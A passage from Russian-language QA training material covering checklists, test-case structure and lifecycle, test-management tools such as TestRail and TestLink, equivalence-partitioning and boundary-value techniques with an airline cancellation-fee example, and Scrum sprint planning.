визитки заказаны и визитки доставлены в офис. • Пункты пишутся в утвердительной форме. Цель чек-листа – проверка готовности задачи, поэтому лучше составлять пункты в утвердительной форме - «заказаны, доставлены». Сравните формулировку: «заказать визитки» и «визитки заказаны». • Оптимальное количество пунктов - до 20. Чек-листы не должны быть длинными. Если все же это требуется, то лучше разбить задачу на несколько этапов и составить к каждому этапу отдельный чек-лист. Преимущества использования чек-листов: • Структурирование информации у сотрудника. При записи необходимых действий у сотрудника чётко вырисовывается нужная последовательность задач. • Повышение скорости обучения новых сотрудников. Не нужно повторять несколько раз последовательность операций. Достаточно провести короткий инструктаж и дать чек-лист для самостоятельной работы. • Высокий результат, уменьшение количества ошибок. Как уже говорилось ранее, чек-листы помогают избежать проколов и ошибок по невнимательности. • Взаимозаменяемость сотрудников. • Экономия рабочего времени. Сотрудники будут значительно меньше времени тратить на переделывание задач. Рис. 13.1. Пример чек-листа Тема 14. Тест кейсы Тестовый случай (Test Case) - это артефакт, описывающий совокупность шагов, конкретных условий и параметров, необходимых для проверки реализации тестируемой функции или её части. Высокоуровневый тест-кейс - тест-кейс без конкретных входных данных и ожидаемых результатов. Как правило, ограничивается общими идеями и операциями, схож по своей сути с подробно описанным пунктом чек-листа. Достаточно часто встречается в интеграционном тестировании и системном тестировании, а также на уровне дымового тестирования. Может служить отправной точкой для проведения исследовательского тестирования или для создания низкоуровневых тест-кейсов. Низкоуровневый тест-кейс - тест-кейс с конкретными входными данными и ожидаемыми результатами. Представляет собой полностью готовый к выполнению тесткейс и является наиболее классическим видом тест-кейсов. Начинающих тестировщиков чаще всего учат писать именно такие тесты, поскольку прописать все данные подробно намного проще, чем понять, какой информацией можно пренебречь, при этом не снизив ценность тест-кейса. Спецификация тест-кейса - документ, описывающий набор тест-кейсов (включая их цели, входные данные, условия и шаги выполнения, ожидаемые результаты) для тестируемого элемента. Спецификация теста - документ, состоящий из спецификации тест-дизайна, спецификации тест-кейса (test case specification) и/или спецификации тест-процедуры (test procedure specification). Тест-сценарий (test scenario, test procedure specification, test script) - документ, описывающий последовательность действий по выполнению теста (также известен как «тест-скрипт»). Цель написания тест-кейсов: Тестирование можно проводить и без тест-кейсов (не нужно, но можно; да, эффективность такого подхода варьируется в очень широком диапазоне, в зависимости от множества факторов). Наличие же тест-кейсов позволяет: 1. Структурировать и систематизировать подход к тестированию (без чего крупный проект почти гарантированно обречён на провал). 2. Вычислять метрики тестового покрытия (test coverage metrics) и принимать меры по его увеличению (тест-кейсы здесь являются главным источником информации, без которого существование подобных метрик теряет смысл). 3. Отслеживать соответствие текущей ситуации плану (сколько примерно понадобится тест-кейсов, сколько уже есть, сколько выполнено из запланированного на данном этапе количества и т.д.). 4. Уточнить взаимопонимание между заказчиком, разработчиками и тестировщиками (тест-кейсы зачастую намного более наглядно показывают поведение приложения, чем это отражено в требованиях).. 5. Хранить информацию для длительного использования и обмена опытом между сотрудниками и командами (или, как минимум, не пытаться удержать в голове сотни страниц текста). 6. Проводить регрессионное тестирование и повторное тестирование (которые без тест-кейсов было бы вообще невозможно выполнить). 7. Повышать качество требований (написание чек-листов и тест-кейсов - хорошая техника тестирования требований). 8. Быстро вводить в курс дела нового сотрудника, недавно подключившегося к проекту. Жизненный цикл тест-кейса В отличие от отчёта о дефекте, у которого есть полноценный развитый жизненный цикл, для тест-кейса речь идёт о наборе состояний, в которых он может находиться (См. рис.4.2. Жирным шрифтом отмечены наиболее важные состояния). Рис. 14.1. Жизненный цикл тест-кейса Создан (new) - типичное начальное состояние практически любого артефакта. Тест-кейс автоматически переходит в это состояние после создания. Запланирован (planned, ready for testing) - в этом состоянии тест-кейс находится, когда он или явно включён в план ближайшей итерации тестирования, или, как минимум, готов для выполнения. Не выполнен (not tested) - в некоторых системах управления тест-кейсами это состояние заменяет собой предыдущее («запланирован»). Нахождение тест-кейса в данном состоянии означает, что он готов к выполнению, но ещё не был выполнен. Выполняется (work in progress) - если тест-кейс требует длительное время для выполнения, то он может быть переведён в это состояние для подчёркивания того факта, что работа идёт, и скоро можно ожидать её результатов. Если выполнение тест-кейса занимает мало времени, это состояние, как правило, пропускается, а тест-кейс сразу переводится в одно из трёх следующих состояний - «провален», «пройден успешно» или «заблокирован». Пропущен (skipped) - бывают ситуации, когда выполнение тест-кейса отменяется по соображениям нехватки времени или изменения логики тестирования. Провален (failed) - данное состояние означает, что в процессе выполнения тест-кейса был обнаружен дефект, заключающийся в том, что ожидаемый результат по как минимум одному шагу тест-кейса не совпадает с фактическим результатом. Если в процессе выполнения тест-кейса был «случайно» обнаружен дефект, никак не связанный с шагами тест-кейса и их ожидаемыми результатами, тест-кейс считается пройденным успешно (при этом, естественно, по обнаруженному дефекту создаётся отчёт о дефекте). Пройден успешно (passed) - данное состояние означает, что в процессе выполнения тесткейса не было обнаружено дефектов, связанных с расхождением ожидаемых и фактических результатов его шагов. Заблокирован (blocked) - данное состояние означает, что по какой-то причине выполнение тест-кейса невозможно (как правило, такой причиной является наличие дефекта, не позволяющего реализовать некий пользовательский сценарий). Закрыт (closed) - очень редкий случай, т.к. тест-кейс, как правило, оставляют в состояниях «провален / пройден успешно / заблокирован / пропущен». В некоторых системах управления тест-кейс переводят в данное состояние, чтобы подчеркнуть тот факт, что на данной итерации тестирования все действия с ним завершены. Требует доработки (not ready) - как видно из схемы, в это состояние (или из него) тесткейс может быть переведён в любой момент времени, если в нём будет обнаружена ошибка, если изменятся требования, по которым он был написан, или наступит иная ситуация, не позволяющая считать тест-кейс пригодным для выполнения и перевода в иные состояния. Структура тест кейса Идентификатор (identifier) представляет собой уникальное значение, позволяющее однозначно отличить один тест-кейс от другого и используемое во всевозможных ссылках. В общем случае идентификатор тест-кейса может представлять собой просто уникальный номер, но (если позволяет инструментальное средство управления тесткейсами) может быть и куда сложнее: включать префиксы, суффиксы и иные осмысленные компоненты, позволяющие быстро определить цель тест-кейса и часть приложения (или требований), к которой он относится (например, UR216_S12_DB_Neg). Приоритет (priority) показывает важность тест-кейса. Он может быть выражен буквами (A, B, C, D, E), цифрами (1, 2, 3, 4, 5), словами («крайне высокий», «высокий», «средний», «низкий», «крайне низкий») или иным удобным способом. Количество градаций также не фиксировано, но, чаще всего, лежит в диапазоне от трёх до пяти. Приоритет тест-кейса может коррелировать с: • важностью требования, пользовательского сценария или функции, с которыми связан тест-кейс; • потенциальной важностью дефекта, на поиск которого направлен тест-кейс; • степенью риска, связанного с проверяемым тест-кейсом требованием, сценарием или функцией. Основная задача этого атрибута - упрощение распределения внимания и усилий команды (более высокоприоритетные тест-кейсы получают их больше), а также упрощение планирования и принятия решения о том, чем можно пожертвовать в некоей форсмажорной ситуации, не позволяющей выполнить все запланированные тест-кейсы. Связанное с тест-кейсом требование (requirement) показывает то основное требование, проверке выполнения которого посвящён тест-кейс (основное, поскольку один тест-кейс может затрагивать несколько требований). Наличие этого поля улучшает такое свойство тест-кейса, как прослеживаемость. Заполнение этого поля является не обязательным. Модуль и подмодуль приложения (module and submodule) указывают на части приложения, к которым относится тест-кейс, и позволяют лучше понять его цель. Идея деления приложения на модули и подмодули проистекает из того, что в сложных системах практически невозможно охватить взглядом весь проект целиком, и вопрос «как протестировать это приложение» становится недопустимо сложным. Тогда приложение логически разделяется на компоненты (модули), а те, в свою очередь, на более мелкие компоненты (подмодули). Как правило, иерархия модулей и подмодулей создаётся как единый набор для всей проектной команды, чтобы исключить путаницу из-за того, что разные люди будут использовать разные подходы к такому разделению или даже просто разные названия одних и тех же частей приложения. В реальности проще всего отталкиваться от архитектуры и дизайна приложения. Например, в уже знакомом нам приложении можно выделить такую иерархию модулей и подмодулей: • • Механизм запуска: o механизм анализа параметров; o механизм сборки приложения; o механизм обработки ошибочных ситуаций. Механизм взаимодействия с файловой системой: o механизм обхода дерева SOURCE_DIR; o механизм обработки ошибочных ситуаций. Заглавие (суть) тест-кейса (title) призвано упростить и ускорить понимание основной идеи (цели) тест-кейса без обращения к его остальным атрибутам. Исходные данные, необходимые для выполнения тест-кейса (precondition, preparation, initial data, setup), позволяют описать всё то, что должно быть подготовлено до начала выполнения тест-кейса, например: • состояние базы данных; • состояние файловой системы и её объектов; • состояние серверов и сетевой инфраструктуры. Шаги тест-кейса (steps) описывают последовательность действий, которые необходимо реализовать в процессе выполнения тест-кейса. Общие рекомендации по написанию шагов таковы: 1. Начинайте с понятного и очевидного места, не пишите лишних начальных шагов (запуск приложения, очевидные операции с интерфейсом и т.п.). 2. Даже если в тест-кейсе всего один шаг, нумеруйте его (иначе возрастает вероятность в будущем случайно «приклеить» описание этого шага к новому тексту). 3. Если вы пишете на русском языке, то используйте безличную форму (например, «открыть», «ввести», «добавить» вместо «откройте», «введите», «добавьте»), в английском языке не надо использовать частицу «to» (т.е. «запустить приложение» будет «start application», не «to start application»). 4. Соотносите степень детализации шагов и их параметров с целью тест-кейса, его сложностью, уровнем и т.д. В зависимости от этих и многих других факторов степень детализации может варьироваться от общих идей до предельно чётко прописанных значений и указаний. 5. Ссылайтесь на предыдущие шаги и их диапазоны для сокращения объёма текста (например, «повторить шаги 3–5 со значением…»). 6. Пишите шаги последовательно, без условных конструкций вида «если… то…». Ожидаемые результаты (expected results) по каждому шагу тест-кейса описывают реакцию приложения на действия, описанные в поле «шаги тест-кейса». Номер шага соответствует номеру результата. По написанию ожидаемых результатов можно порекомендовать следующее: • Описывайте поведение системы так, чтобы исключить субъективное толкование (например, «приложение работает верно» — плохо, «появляется окно с надписью…» — хорошо). • Пишите ожидаемый результат по всем шагам без исключения, если у вас есть хоть малейшие сомнения в том, что результат некоего шага будет совершенно тривиальным и очевидным (если вы всё же пропускаете ожидаемый результат для какого-то тривиального действия, лучше оставить в списке ожидаемых результатов пустую строку — это облегчает восприятие). • Пишите кратко, но не в ущерб информативности. • Избегайте условных конструкций вида «если… то…». Набор тест-кейсов (test case suite, test suite, test set) - совокупность тест-кейсов, выбранных с некоторой общей целью или по некоторому общему признаку. Наборы тест-кейсов можно разделить на свободные (порядок выполнения тест-кейсов не важен) и последовательные (порядок выполнения тест-кейсов важен). Преимущества свободных наборов: • Тест-кейсы можно выполнять в любом удобном порядке, а также создавать «наборы внутри наборов». • Если какой-то тест-кейс завершился ошибкой, это не повлияет на возможность выполнения других тест-кейсов. Преимущества последовательных наборов: • Каждый следующий в наборе тест-кейс, в качестве входного состояния приложения, получает результат работы предыдущего тест-кейса, что позволяет сильно сократить количество шагов в отдельных тест-кейсах. • Длинные последовательности действий куда лучше имитируют работу реальных пользователей, чем отдельные «точечные» воздействия на приложение. К отдельному подвиду последовательных наборов тест-кейсов (или даже неоформленных идей тест-кейсов, таких, как пункты чек-листа) можно отнести пользовательские сценарии (или сценарии использования), представляющие собой цепочки действий, выполняемых пользователем в определённой ситуации для достижения определённой цели. Классификация наборов тест-кейсов • Набор изолированных свободных тест-кейсов: действия из раздела «приготовления» нужно повторять перед каждым тест-кейсом, а сами тест-кейсы можно выполнять в любом порядке. • Набор обобщённых свободных тест-кейсов: действия из раздела «приготовления» нужно выполнить один раз (а потом просто выполнять тесткейсы), а сами тест-кейсы можно выполнять в любом порядке. • Набор изолированных последовательных тест-кейсов: действия из раздела «приготовления» нужно повторять перед каждым тест-кейсом, а сами тест-кейсы нужно выполнять в строго определённом порядке. • Набор обобщённых последовательных тест-кейсов: действия из раздела «приготовления» нужно выполнить один раз (а потом просто выполнять тесткейсы), а сами тест-кейсы нужно выполнять в строго определённом порядке. Главное преимущество изолированности: каждый тест-кейс выполняется в «чистой среде», на него не влияют результаты работы предыдущих тест-кейсов. Главное преимущество обобщённости: приготовления не нужно повторять (экономия времени). Главное преимущество последовательности: ощутимое сокращение шагов в каждом тест-кейсе, т.к. результат выполнения предыдущего тест-кейса является начальной ситуацией для следующего. Главное преимущество свободы: возможность выполнять тест-кейсы в любом порядке, а также то, что при провале какого-то тест-кейса (приложение не пришло в ожидаемое состояние) остальные тест-кейсы по-прежнему можно выполнять. Набор тест-кейсов всегда создаётся с какой-то целью, на основе какой-то логики, и по этим же принципам в набор включаются тесты, обладающие подходящими свойствами. Подходы к составлению наборов тест-кейсов: • На основе чек-листов. • На основе разбиения приложения на модули и подмодули. Для каждого модуля (или его отдельных подмодулей) можно составить свой набор тест кейсов. • По принципу проверки самых важных, менее важных и всех остальных функций приложения. • По принципу группировки тест-кейсов для проверки некоего уровня требований или типа требований, группы требований или отдельного требования. • По принципу частоты обнаружения тест-кейсами дефектов в приложении (например, мы видим, что некоторые тест-кейсы раз за разом завершаются неудачей, значит, мы можем объединить их в набор, условно названный «проблемные места в приложении»). • По архитектурному принципу: наборы для проверки пользовательского интерфейса и всего уровня представления, для проверки уровня бизнес-логики, для проверки уровня данных. • По области внутренней работы приложения, например, «тест-кейсы, затрагивающие работу с базой данных», «тест-кейсы, затрагивающие работу с файловой системой», «тест-кейсы, затрагивающие работу с сетью». • По видам тестирования. Тема 15. Программное обеспечение для управления тест-кейсами Инструментальным средством управления тест кейсами является TestRail. 1. Title (заглавие) здесь данное поле является обязательным для заполнения. 2. Section (секция) — очередная вариация на тему «Модуль» и «Подмодуль», позволяющая создавать иерархию секций, в которых можно размещать тест-кейсы. 3. Type (тип) здесь по умолчанию предлагает выбрать один из вариантов: automated (автоматизированный), functionality (проверка функциональности), performance (производительность), regression (регрессионный), usability (удобство использования), other (прочее). 4. Priority (приоритет) здесь представлен числами, по которым распределены следующие словесные описания: must test (обязательно выполнять), test if time (выполнять, если будет время), don’t test (не выполнять). 5. Estimate (оценка) содержит оценку времени, которое необходимо затратить на выполнение тест-кейса. 6. Milestone (ключевая точка) позволяет указать ключевую точку проекта, к которой данный тест-кейс должен устойчиво показывать положительный результат (выполняться успешно). 7. References (ссылки) позволяет хранить ссылки на такие артефакты, как требования, пользовательские истории, отчёты о дефектах и иные документы (требует дополнительной настройки). 8. Preconditions (приготовления) представляет собой классику описания предварительных условий и необходимых приготовлений к выполнению тесткейса. 9. Step Description (описание шага) позволяет добавлять описание отдельного шага тест-кейса. 10. Expected Results (ожидаемые результаты) позволяет описать ожидаемый результат по каждому шагу. Инструментом для управления тест кейсами является TestLink 1. Title (заглавие) здесь тоже является обязательным для заполнения. 2. Summary (описание) позволяет добавить любую полезную информацию о тесткейсе (включая особенности выполнения, приготовления и т.д.). 3. Steps (шаги выполнения) позволяет описать шаги выполнения. 4. Expected Results (ожидаемые результаты) позволяет описать ожидаемые результаты, относящиеся к шагам выполнения. 5. Available Keywords (доступные ключевые слова) содержит список ключевых слов, которые можно проассоциировать с тест-кейсом для упрощения классификации и поиска тест-кейсов.Это ещё одна вариация идеи «Модулей» и «Подмодулей» (в некоторых системах реализованы оба механизма). 6. Assigned Keywords (назначенные ключевые слова) содержит список ключевых слов, проассоциированных с тест-кейсом. JIRA + Zephyr JIRA — это, главным образом, средство отслеживания ошибок, целью которого является контроль процесса разработки с задачами, ошибками и другими типами гибких карт. Zephyr — один из многих плагинов JIRA, расширяющих возможности JIRA. С помощью их комбинации Вы получите полный сервис, в соответствии с функциональностью инструментов управления тестированием: • Создание тест-плана. • Описание тестовых случаев. • Выполнение тестирования. • Создание отчетов. Если тестовый продукт ведет себя неправильно, вы можете немедленно создать отчет о ошибке. Тема 16. Техники тест-дизайна Тест-дизайн – это этап процесса тестирования ПО, на котором проектируются и создаются тестовые случаи (тест-кейсы), в соответствии с определёнными ранее критериями качества и целями тестирования. Роли в тест дизайне: • Тест-аналитик - определяет "ЧТО тестировать?". • Тест-дизайнер - определяет "КАК тестировать?". Попросту говоря, задача тест-аналитиков и дизайнеров сводится к тому, чтобы, используя различные стратегии и техники тест-дизайна, создать набор тестовых случаев, обеспечивающий оптимальное тестовое покрытие тестируемого приложения. На большинстве проектов эти роли выполняет QA инженер. Тестовое покрытие - это одна из метрик оценки качества тестирования, представляющая из себя плотность покрытия тестами требований либо исполняемого кода. Существуют следущее подходы к оценке и измерению тестового покрытия: • Покрытие требований (Requirements Coverage) - оценка покрытия тестами функциональных и нефункциональных требований к продукту, путем построения матриц трассировки (traceability matrix). • Покрытие кода (Code Coverage) - оценка покрытия исполняемого кода тестами, путем отслеживания непроверенных в процессе тестирования частей программного обеспечения. • Тестовое покрытие на базе анализа потока управления - оценка покрытия основанная на определении путей выполнения кода программного модуля и создания выполняемых тест кейсов для покрытия этих путей. Техники тест дизайна: • Эквивалентное Разделение (Equivalence Partitioning - EP). Как пример, у Вас есть диапазон допустимых значений от 1 до 10, Вы должны выбрать одно верное значение внутри интервала, скажем, 5 и одно неверное значение вне интервала - 0. • Анализ Граничных Значений (Boundary Value Analysis - BVA). Если взять пример выше, в качестве значений для позитивного тестирования выберем минимальную и максимальную границы (1 и 10) и значения больше и меньше границ (0 и 11). Анализ Граничных значений может быть применен к полям, записям, файлам, или к любого рода сущностям, имеющим ограничения. • Причина / Следствие (Cause/Effect - CE). Это, как правило, ввод комбинаций условий (причин), для получения ответа от системы (Следствие). Например, Вы проверяете возможность добавлять клиента, используя определенную экранную форму. Для этого Вам необходимо будет ввести несколько полей, таких как "Имя", "Адрес", "Номер Телефона" а затем нажать кнопку "Добавить" - это "Причина". После нажатия кнопки "Добавить", система добавляет клиента в базу данных и показывает его номер на экране - это "Следствие". • Предугадывание ошибки (Error Guessing - EG). Когда тест-аналитик использует свои знания системы и способность к интерпретации спецификации на предмет того, чтобы "предугадать", при каких входных условиях система может выдать ошибку. Например, спецификация говорит: "Пользователь должен ввести код". Тест-аналитик, будет думать: "Что, если я не введу код?", "Что, если я введу неправильный код? " и так далее. Это и есть предугадывание ошибки. • Исчерпывающее тестирование (Exhaustive Testing - ET) - это крайний случай. В пределах этой техники Вы должны проверить все возможные комбинации входных значений, и в принципе, это должно найти все проблемы. На практике применение этого метода не представляется возможным из-за огромного количества входных значений. • Парное тестирование (Pairwise Testing - PT) — это техника формирования наборов тестовых данных. Сформулировать суть можно, например, таким образом: формирование таких наборов данных, в которых каждое тестируемое значение каждого из проверяемых параметров хотя бы единожды сочетается с каждым тестируемым значением всех остальных проверяемых параметров. Пример использования техники анализа классов эквивалентности: Эквивалентное разделение, алгоритм использования техники: 1. Необходимо определить класс эквивалентности. Это главный шаг техники. От него во многом зависит эффективность её применения. 2. Затем нужно выбрать одного представителя от каждого класса. На этом шаге из каждого эквивалентного набора тестов мы выбираем один тест. 3. Нужно выполнить тесты. На этом шаге мы выполняем тесты от каждого класса эквивалентности. Можно разбивать тесты на классы эквивалентности по разным принципам. Например, если мы тестируем поле ввода, которое принимает максимум 5 символов, то можем выбрать разные принципы разбиения на классы эквивалентности: • По количеству символов. • По типу символов (цифры, буквы, спец символы). Пример: функцию подсчета комиссии при отмене бронирования авиабилетов. Размер комиссии зависит от времени до вылета, когда совершена отмена: • За 5 суток до вылета комиссия составляет 0%. • Меньше 5 суток, но больше 24 часов – 50%. • Меньше 24 часов, но до вылета – 75%. • После вылета – 100%. Рис. 15.1. Пример: функция подсчета комиссии при отмене бронирования авиабилетов Шаги: 1. Определим классы эквивалентности: (для каждого теста из этих классов мы ожидаем получить одинаковый результат): • 1 класс: время до вылета > 5 суток. • 2 класс: 24 часа < время до вылета < 5 суток. • 3 класс: 0 часов < время до вылета < 24 часа. • 4 класс: время до вылета < 0 часов (вылет уже состоялся). 2. Выберем представителя от каждого класса: Здесь мы можем поступить так, как нам хочется и выбрать любые значения из класса. Ведь, если предположить, что мы правильно разбили на классы эквивалентности, то нет разницы, какое значение из диапазона мы выберем. • время до вылета = 10 суток (тест из 1-го класса). • время до вылета = 3 суток (тест из 2-го класса). • время до вылета = 12 часов (тест из 3-го класса). • время до вылета = -30 мин (тест из 4-го класса). 3. Выполним тесты: • Отменим бронь за 10 суток до вылета и проверим, что комиссия составила 0%. • Отменим бронь за 3 суток до вылета и проверим, что комиссия составила 50%. • Отменим бронь за 12 часов до вылета и проверим, что комиссия составила 75%. • Отменим бронь через 30 мин после вылета и проверим, что комиссия составила 100%. Фактически, осталось всего 4 теста. А сколько возможных тестов существует? Даже если мы введем ограничение, что отмена бронирования может произойти в рамках 10 суток до вылета и 1 суток после вылета, то у нас будет около 950400 возможных тестов (количество секунд в 11 сутках). Плюсы и минусы техники анализа классов эквивалентности • К плюсам можно отнести заметное сокращение времени и улучшение структурированности тестирования. • К минусам можно отнести то, что, при неправильном использовании техники, мы рискуем потерять баги. Пример использования техники анализа граничных значений Примерный алгоритм использования техники анализа граничных значений: 1. Во-первых, нужно выделить классы эквивалентности. Опять же, это очень важный шаг и от правильности разбиения на классы эквивалентности зависит эффективность тестов граничных значений. 2. Далее нужно определить граничные значения этих классов. 3. Нам нужно понять, к какому классу будет относиться каждая граница. 4. Для каждой границы нам нужно провести тесты по проверке значения до границы, на границе, и сразу после границы. Пример: функцию подсчета комиссии при отмене бронирования авиабилетов. Размер комиссии зависит от времени до вылета, когда совершена отмена: • За 5 суток до вылета комиссия составляет 0%. • Меньше 5 суток, но больше 24 часов – 50%. • Меньше 24 часов, но до вылета – 75%.. • После вылета – 100% Рис. 15.2. Пример: функция подсчета комиссии при отмене бронирования авиабилетов Шаги: 1. Выделим классы эквивалентности: • 1 класс: время до вылета > 5 суток. • 2 класс: 24 часа < время до вылета < 5 суток. • 3 класс: 0 часов < время до вылета < 24 час. • 4 класс: время до вылета < 0 часов (вылет уже состоялся). 2. Определим границы: • 5 суток. • 24 часа. • 0 часов. 3. Определим, к какому классу относятся границы: Примечание: На этом шаге был спорный момент, на который нужно обратить внимание. При составлении задачи я не подумал, какая логика должна быть на самих границах. Это типичный пример того, как составители требований не задумываются о границах. И поэтому программист может трактовать их по-своему. 1. 5 суток – ко 2-му классу. 2. 24 часа – к о2-му классу. 3. 0 часов – к 4-му классу. 4. Протестируем значения на границах, до и после них: 1. Отменим бронь за 5 суток + 1 секунду до вылета (или просто постараемся выполнить бронь как можно ближе к границе, но слева от нее) и проверим, что комиссия равна 0%. 2. Отменим бронь ровно за 5 суток до вылета и проверим, что комиссия равна 50%. 3. Отменим бронь за 5 суток – 1 секунду до вылета и проверим, что комиссия равна 50%. 4. Отменим бронь за 24 часа + 1 секунду до вылета и проверим, что комиссия равна 50%. 5. Отменим бронь ровно за 24 часа до вылета и проверим, что комиссия равна 50%. 6. Отменим бронь за 24 часа - 1 секунду до вылета и проверим, что комиссия равна 75%. 7. Отменим бронь за 1 секунду до вылета и проверим, что комиссия равна 75%. 8. Отменим бронь ровно во время вылета и проверим, что комиссия равна 100%. 9. Отменим бронь спустя 1 секунду после вылета и проверим, что комиссия равна 100%. Мы получили 9 тестов, по 3 теста на каждую границу. Если суммировать тесты, необходимые для проверки классов эквивалентности и граничных значений, получим 4 + 9 =13 тестов. Плюсы и минусы техники анализа граничных значений Эта техника добавляет в технику анализа классов эквивалентности ориентированность на конкретный тип ошибок. То есть, техника анализа классов эквивалентности просто говорит нам о том, что нужно разбить все тесты на классы и провести тестирование всех классов. А техника граничных значений ориентирована на обнаружение конкретной проблемы – возникновения ошибок на границах классов эквивалентности. Но, как и для техники анализа классов эквивалентности, эффективность техники анализа граничных значений зависит от правильности ее использования. Мы должны приложить усилия, чтобы правильно определить классы эквивалентности и их границы. Если мы отнесемся к этому поверхностно, то рискуем пропустить ошибки. Тема 17. Планирование Планирование Спринта Задачи, над которыми будет трудиться команда разработки во время спринта, определяются на планировании спринта. План создается совместными усилиями всей скрам-команды. Планирование спринта ограничено по времени. Для спринта длительностью один месяц планирование не должно занимать более 8 часов. Если спринт короче, то и планирование проводится быстрее. Скрам-мастер убеждается, что событие состоялось, а участники понимали его цель. Скрам-мастер обучает скрам-команду соблюдать временное ограничение. По результатам планирования спринта скрам-команда решает: • каким будет инкремент в конце спринта; • как организовать работу, чтобы получить готовый инкремент продукта. Тема первая: что будет сделано? Команда разработки прогнозирует объём функциональности, который будет разработан в течение спринта. Владелец продукта выносит на обсуждение два важных вопроса: бизнесцели, которые должны быть достигнуты в спринте, и элементы бэклога продукта, необходимые для достижения цели спринта. На основании этих данных скрам-команда формирует единое понимание о всей работе в спринте. Для проведения планирования спринта нужны: бэклог продукта, последний инкремент продукта, прогноз возможностей команды разработки в будущем спринте, статистика её прошлой производительности. При этом ,только команда разработки определяет количество элементов бэклога продукта, которые могут быть выполнены в спринте. Ей же принадлежит исключительное право оценивать объём работ, который по силам завершить в текущем спринте. Во время планирования спринта скрам-команда также формирует цель спринта. Цель спринта служит необходимым ориентиром для реализации элементов бэклога продукта и помогает команде разработки лучше понять, для чего создается инкремент. Тема вторая: как будет выполнена работа? Когда цель спринта определена и выбраны элементы бэклога продукта, команда разработки решает, как реализовать эту функциональность в виде готового инкремента продукта в течение спринта. Выбранные элементы бэклога продукта и план их реализации называют бэклогом спринта. Составление плана работ в спринте команда разработки обычно начинает с организации системы и работы, необходимых для трансформации бэклога продукта в полностью готовый инкремент. Работа может отличаться объёмом и сложностью, поэтому команда разработки планирует достаточный объём задач, который, по её мнению, удастся завершить за предстоящий спринт. Часто к концу планирования спринт команда разработки более тщательно детализирует работу, которую будет выполнять в первые дни спринта. Для этого она разделяет работу на более мелкие задачи, обычно, длительностью не более одного дня. Команда разработки самоорганизуется как во время спринта, так и во время его планирования при работе над бэклогом спринта. Владелец продукта помогает прояснить смысл выбранных элементов. Если у команды разработки набирается слишком много или слишком мало работы, то владелец продукта может пойти на компромисс. Тогда команда разработки вместе с владельцем продукта корректируют количество и состав выбранных элементов бэклога продукта для достижения запланированной цели спринта. Чтобы получить дополнительную информацию в предметной̆ или технической областях, команда может пригласить сторонних экспертов для консультации. К концу планирования спринта команда разработки должна уметь объяснить владельцу продукта и скрам-мастеру, как она намерена работать в рамках самоорганизации, чтобы достичь цель спринта и создать ожидаемый инкремент. Цель Спринта Цель Спринта – это установленный для спринта ориентир, который достигается через выполнение части бэклога продукта. Цель спринта формируется во время его планирования и объясняет команде разработки, для чего создается инкремент. Цель спринта оставляет команде разработки некоторую гибкость в объёме функциональности, которую они разрабатывают в рамках спринта. Так выбранные элементы бэклога продукта могут реализовывать одну связанную функцию, которая является целью спринта. Или целью спринта может быть любая другая логическая связь, для достижения которой команда разработки будет работать совместно, а не разрозненно, над разными задачами. Цель спринта – это ориентир для команды разработки. Чтобы его достичь, команда должна использовать технологии и реализовывать функциональность. Если объём работ становится отличным от ожиданий команды разработки, команда договаривается с владельцем продукта об объёме бэклога текущего спринта. ЧТО ТАКОЕ ПЛАНИРОВАНИЕ СПРИНТА? Планирование спринта - это ограниченная по времени встреча в начале спринта, на которой команда и владелец продукта (ВП) обсуждают и принимают решение о том, какая работа будет завершена в спринте. Как правило, встреча делится на две части: "Что?" и "Как?". ЧТО? Владелец продукта приносит с собой список приоритетных пользовательских историй на встречу. В идеальном случае, производительность команды известна, поэтому ВП хорошо представляет, сколько работы войдет в cпринт. Идет командное обсуждение и разбивка историй, а затем команда договаривается и фиксирует работу, которая будет завершена в спринте. КАК? • Команда обсуждает согласованную работу и план ее завершения. • Пользовательские истории разбиваются на задачи, уточняются технические детали. Если команда практикует регулярные встречи по уточнению беклога продукта, то она уже имеет представление, о чем идет речь в истории. КАК ЭТО ВЫГЛЯДИТ? ЧАСТЫЕ ПРОБЛЕМЫ • Владелец продукта сам определяет и решает, какая работа будет завершена. • Беклог продукта не актуален, не приоритезирован или не готов к обсуждению. • В конце планирования все слишком детализировано и вся работа уже распределена по исполнителям (эту проблему трудно преодолеть). • Никто не понимает, что означает статус "Готово". • Встреча слишком длинная. • Встреча не включает участников в процесс. • Некоторым людям сложно проявляться. • Неподходящая среда, команда не чувствует поддержки или безопасности. • Нет доверия или уважения с обеих сторон. • Команда не понимает, для чего нужна эта встреча. ПЕРЕД ПЛАНИРОВАНИЕМ СПРИНТА Чек-лист для подготовки к успешному планированию: • Мотивированная команда. • Хороший контакт и доверие между ВП и командой. • Если ВП не доверяет выводам команды, встреча быстро станет упражнением по избеганию, вместо диалога о работе. Команде важно видеть ценность встречи и преимущества планирования. Если есть какие-либо сомнения ‒ процесс рухнет. • Встреча проходит в установленное время. • Она не должна быть слишком длинной и утомительной, потому что тогда теряется ценность. • Проведена подготовительная работа, часто, в формате встреч по уточнению беклога. • ВП гарантирует, что существует здоровый, поддерживаемый и приоритезированный беклог. • Истории в верхней части беклога, которые должны входить в следующий спринт, разбиты на небольшие части, чтобы команда могла их обсудить и запланировать. • Скрам-мастер убедился, что участвуют все члены команды: владелец продукта, скрам-мастер, разработчики, тестировщики, администратор базы данных - каждый, кто является частью команды разработчиков. Другие заинтересованные стороны могут присутствовать только в качестве наблюдателей, не прерывающих процесс. • Каждый участник должен чувствовать свою ценность на встрече, иметь возможность поделиться своим видением. • Решения о работе принимаются командно. • Если ВП принимает все решения о работе и ее выполнении, команда будет чувствовать, что это пустая трата времени. • Консенсус по поводу метода оценки и разбивки работы. Story Points или Planning Poker - команде нужно договориться о методе оценки, чтобы работать согласованно. ДЛИТЕЛЬНОСТЬ Длительность встречи зависит от длины спринта, чем дольше спринт, тем больше времени нужно для его планирования. Для ориентира: • Однонедельный спринт - 2 часа. • Двухнедельный спринт - 4 часа. • Спринт длинной в 1 месяц - 8 часов. Длительность также очень зависит от зрелости и эффективности команды и владельца продукта, от объема предварительной подготовки. ЦЕЛИ Задача встречи - сформулировать цель спринта. Ее можно представить в форме беклога спринта. Беклог спринта - список приоритезированных задач, которые команда берется завершить до конца спринта. Здесь важно помнить о командных критериях готовности (Definition of Done). Если Вы представили себе конечный результат спринта, то согласуйте его с владельцем продукта и Ваш путь станет гораздо проще. Команду очень мотивирует визуализация и мысленное представление этого результата. Один из ключевых принципов гибкости - способность принимать изменения. Очевидно, что меньше всего информации у нас есть в начале проекта, во время работы часто происходят неожиданные вещи. Поэтому позвольте беклогу меняться в процессе и будьте готовы уточнять его при необходимости. СТРУКТУРА ВСТРЕЧИ Структура встречи нужна в виде предварительного высокоуровневого плана. Пример: 